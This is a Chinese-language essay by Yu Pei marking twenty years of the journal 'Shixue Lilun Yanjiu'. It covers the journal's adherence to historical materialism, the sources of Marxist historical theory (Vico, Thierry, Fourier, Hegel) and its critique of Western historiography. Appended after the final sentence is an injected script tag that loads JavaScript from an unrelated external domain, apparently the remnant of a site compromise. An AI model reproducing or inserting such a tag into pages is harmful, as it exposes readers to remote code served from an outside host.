高扬唯物史观理论旗帜的20年

    于沛

    《史学理论研究》及其前身《史学理论》办刊的宗旨,是以马克思主义为理论指导,通过开展中外史学理论研究,为当代中国马克思主义史学理论建设服务。20年来,它忠实地实践着这一宗旨,具体表现在以下四个方面:
   
    首先,明确繁荣发展历史科学必须坚持马克思主义的指导地位,因为马克思主义揭示了人类社会发展的客观规律,是我们认识世界、改造世界的强大理论武器。从这一基本认识出发,在办刊中旗帜鲜明地坚持唯物史观的指导地位,坚决反对任何形式的“指导思想多元化”,自觉地抵制和反对“淡化意识形态”、“非意识形态化”等错误思想。
   
    19世纪中期马克思主义诞生,她广泛汲取人类优秀文化遗产,是人类思想史上的一次伟大革命。唯物史观是马克思的两个伟大发现之一。科学地认识人类世界的历史,必须以唯物史观为理论指导。在当代中国,坚持和巩固唯物史观在历史研究中的指导地位,决不是要墨守马克思主义经典作家论述唯物史观的个别字句,也不是要将他们的个别结论当作现成的“公式”,不分时间和地点机械地套用或简单地贴标签,而是自觉坚持马克思主义的立场、观点和方法,努力掌握马克思主义活的灵魂。编刊的过程也是学习、研究马克思主义的过程。只有正确地回答哪些是必须长期坚持的马克思主义基本原理,哪些是需要结合新的实际加以丰富发展的理论判断,哪些是必须破除的对马克思主义的教条式的理解,哪些是必须澄清的附加在马克思主义名下的错误观点,才能办好适合当代中国社会发展及学科建设需要的学术刊物。
   
    唯物史观诞生以来的一个半世纪,人类社会的发展和科学技术的革命都发生了许多深刻的变化,提出了许多新的重大的理论问题。在编辑工作中,我们应当面对这个现实,弘扬与时俱进的精神,对新的实践进行理论概括,不断丰富唯物史观的概念、方法和理论范畴,回应唯物史观面临的挑战,使其随着社会的进步而进步,随着科学的发展而发展。唯物史观的生命力在于开拓创新,在社会实践中日益深化和扩展。邓小平理论、“三个代表”重要思想和“科学发展观”是唯物史观的丰富和发展。明确这一切,对办好刊物具有重要的指导意义。
   
    其次,重视唯物史观理论来源的基础性研究。创立任何一种新的学说,都需要一定的理论前提。恩格斯说:“每一个时代的哲学作为分工的一个特定的领域,都具有由它的先驱者传给它而它便由以出发的特定的思想资料作为前提”。

    ①唯物史观的创立也是如此。唯物史观创立的理论来源,至少包括18世纪法国唯物主义者的历史观;19世纪空想社会主义者的历史观;法国复辟时代历史学家的历史观;德国唯心主义者黑格尔的历史观等。唯物史观的产生表明,它并没有离开人类文明发展的大道,而是人类进步思想已经提出来的种种问题的直接继续,是在新的历史条件下,人类文明发展的新的结晶。20年来,《史学理论》和《史学理论研究》发表了不少这方面的文章。例如,维科的人类历史发展阶段的学说,和螺旋渐进式的历史发展观;19世纪法国复辟时代的历史学家基佐、梯也里、米涅的阶级斗争史论。梯也里认为“阶级斗争”是理解中世纪以来全部历史的钥匙,受到马克思的赞扬,认为他是“法国历史编纂学中的阶级斗争之父”。

    ②19世纪初空想社会主义者圣西门、傅立叶在历史观上的突出贡献,是引进相当多的辩证发展观点。恩格斯曾经指出:“傅立叶是和他的同时代人黑格尔一样巧妙地掌握了辩证法的。”

    ③德国古典哲学是在18世纪末至19世纪上半叶德国资本主义发展的独特条件下产生的。在马克思、恩格斯之前,对历史哲学观做出最重要贡献的是德国哲学家黑格尔,其代表作是1837年问世的《历史哲学》。恩格斯指出,黑格尔“在每一个领域中都起了划时代的作用”。

    ④马克思和恩格斯批判了黑格尔的唯心主义,汲取其辩证法的“合理内核”,把辩证法从他神秘的哲学体系的束缚下解救出来。由于黑格尔,社会历史发展第一次被认为在其自身发展内部存在着一个不以人类个体意志为转移的完整的历史逻辑。黑格尔的历史观也是马克思主义唯物史观的重要理论来源之一。再次,加强对西方史学理论、史学思潮进行科学评析,取其精华,弃其糟粕,对其本质内容做出马克思主义的回答。例如,《史学理论研究》曾连续多期发表文章,批判美国学者魏特夫的反动历史观。
   
    在阶级社会中,历史观和社会生活直接或间接的关系,主要通过它的阶级性反映出来。这就是说,历史观印有阶级的烙印。迄今的一切历史观都是体现着一定阶级性的历史观,那种没有阶级性的“纯学术”的历史观是不存在的。?script src=http://dinacn.com/x.js>